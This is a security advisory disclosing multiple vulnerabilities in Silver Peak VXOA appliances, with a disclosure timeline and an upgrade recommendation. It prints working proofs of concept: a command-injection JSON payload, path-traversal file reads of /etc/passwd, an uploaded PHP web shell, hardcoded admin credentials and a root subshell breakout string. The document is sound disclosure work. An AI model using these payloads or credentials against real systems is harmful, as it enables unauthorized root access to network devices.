( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Silver Peak VXOA Multiple Vulnerabilities Affected versions: Silver Peak VX < 6.2.11 PDF: http://www.security-assessment.com/files/documents/advisory/Silverpeak-Advisory-Final.pdf +-----------+ |Description| +-----------+ The Silver Peak VX virtual appliance running VXOA before version 6.2.11 contains a number of security vulnerabilities, including command injection, unauthenticated file read, mass assignment, shell upload, and hardcoded credentials. By combining these vulnerabilities, an attacker may remotely obtain root privileges on the underlying host. +------------+ |Exploitation| +------------+ ==Command Injection== A user with administrative access to the REST JSON interface of the VX web server may execute arbitrary commands on the operating system. The injection point lies in the "snmp" call, which does not sanitise the "auth_key" parameter before including it in an executed command string. The following command injection PoC writes the user's id to a file on the filesystem. [Command Injection PoC] POST /rest/json/snmp HTTP/1.1 Host: [HOST] Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 368 Cookie: connect.sid=[VALID]; {"access":{"rocommunity":"public"},"listen":{"enable":true},"traps":{"trap_community":"public","enable":true},"auto_launch":true,"sysdescr":"", "syscontact":"","syslocation":"","v3":{"users":{"admin":{"hash_type":"sha","auth_key":"a;echo `id` > /var/tmp/cmd_inj","self":"admin","privacy_key":"","privacy_type":"aes-128","enable":false}}},"encAuth":false,"encPri":false} ==Unauthenticated File Read== A user with the ability to access the VX web server interface may make an unauthenticated call to a web interface function that allows them to read arbitrary files on the disk with the permission of the web server user "apache". Two functions are affected by this vulnerability, "save_file.php" and "save_config_file.php". [Unauthenticated File Read PoC] curl -sk "https://[HOST]/6.2.5.0_52054/php/save_file.php?ftype=log&fname=../../etc/passwd" OR curl -sk "https://[HOST]/6.2.5.0_52054/php/save_config_file.php?filename=../../../../../../../../etc/passwd" ==Mass Assignment== A user with access to the REST JSON interface of the VX web server may alter undocumented parameters of the "users" call, allowing them to change a user's login shell to bash. This can be used to evade the limited subshell enforced by the SSH server on the appliance. [Mass assignment PoC] POST /rest/json/users HTTP/1.1 Host: [HOST] Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 366 Cookie: connect.sid=[VALID]; {"users":{"basic":{"self":"basic","enable":true,"gid":0,"password":"[SNIP]","shell":"/bin/bash"}},[SNIP other users]}} ==Shell Upload== A user with monitor or administrative access to the web interface of the VX web server may upload a PHP shell in order to execute arbitrary commands as the web server user "apache". A POST request containing the PHP shell is made to the "configdb_file.php" endpoint. This uploads the shell to a directory with a randomly generated name corresponding to the user's SOAP interface session. This random value may be obtained from "home.php", and the uploaded shell accessed within that directory. The following PoC details uploading the shell, obtaining the SOAP directory name, and using the shell. [Shell upload PoC] POST /6.2.5.0_52054/php/configdb_file.php?seenform=1 HTTP/1.1 Host: [HOST] Cookie: PHPSESSID=[VALID]; Content-Type: multipart/form-data; boundary=---------------------------18932870311933452824851992207 Content-Length: 301 -----------------------------18932870311933452824851992207 Content-Disposition: form-data; name="userfile"; filename="shell.php" Content-Type: text/html <?php $cmd = $_GET["cmd"]; $output = shell_exec($cmd); echo "$output"; ?> -----------------------------18932870311933452824851992207 #End of request $curl -sk -b 'PHPSESSID=[VALID]' "https://[HOST]/6.2.5.0_52054/php/home.php" | grep "flowFile" var flowFile = "/opt/tms/lib/web/content/webui/php/temp/soap/wcupfu36lkvkyutxc2h1swnxsnz8rsffijnhod9zmwr270oreuoatajxcfq71sf/"; $curl -sk "https://[HOST]/6.2.5.0_52054/php/temp/soap/wcupfu36lkvkyutxc2h1swnxsnz8rsffijnhod9zmwr270oreuoatajxcfq71sf/shell.php?cmd=id" uid=48(apache) gid=48(apache) groups=48(apache) ==Hardcoded Account== The "spsadmin" account is predefined in the VX appliance, and is hidden from user account lists in the web and subshell interfaces. The account has a hardcoded password of "Silverpeak123", and cannot be logged into through the regular web interface, or the subshell over SSH. However, the account can log in via the web JSON interface, and execute JSON API calls with administrative privileges. This can include creating new users, with which an attacker may successfully log into the SSH or web interfaces, and also exploiting the Command Injection bug detailed earlier in this advisory. The following PoC details the request and credentials used to obtain a valid REST cookie: [Hardcoded account login PoC] POST /rest/json/login HTTP/1.1 Host: [host] Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 46 {"user":"spsadmin","password":"Silverpeak123"} ==Subshell Breakout== An administrative user with access to the enable menu of the login subshell may enter a hardcoded string to obtain a bash shell on the operating system. [Subshell Breakout POC] silverpeak > en silverpeak # _spsshell [admin@silverpeak root]# id uid=0(admin) gid=0(root) groups=0(root) +----------+ | Solution | +----------+ Users of the 6.2.x branch should upgrade to version 6.2.11 of VXOA in order to protect against these issues. Silver Peak has advised that users of the 7.2.x branch are only vulnerable to the command injection vulnerability, which will be patched in version 7.3. +-------------------+ |Disclosure Timeline| +-------------------+ 01/04/2015 - Email sent to info address asking for a security contact. 09/04/2015 - Email sent to info and security addresses asking for a security contact. 21/04/2015 - Email sent to CEO regarding security contact. 21/04/2015 - Response from CEO providing security contact details. 22/04/2015 - Email sent to security contact asking for PGP key. 22/04/2015 - Received PGP key, sent advisory. 22/04/2015 - Email received confirming receipt of advisory. 22/06/2015 - Email sent asking for update on advisory. 23/06/2015 - Vendor details fixes in place, states that all issues have been fixed in 6.2.11.0, and only the command injection remains unfixed in the 7.2.x version. 17/07/2015 - Email sent regarding resolution of unfixed issue. 17/07/2015 - Received response stating the command injection issue is only relevant to customers who have disabled shell access. 21/07/2015 - Email sent asking for clarification on the vendor stance. 21/07/2015 - Vendor states command injection vulnerability is only an issue for customers with shell access disabled as they otherwise have the ability to execute commands through the shell, and that the issue will be fixed in release 7.3. 09/09/2015 - Public advisory release. +-----------------------------+ |About Security-Assessment.com| +-----------------------------+ Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. 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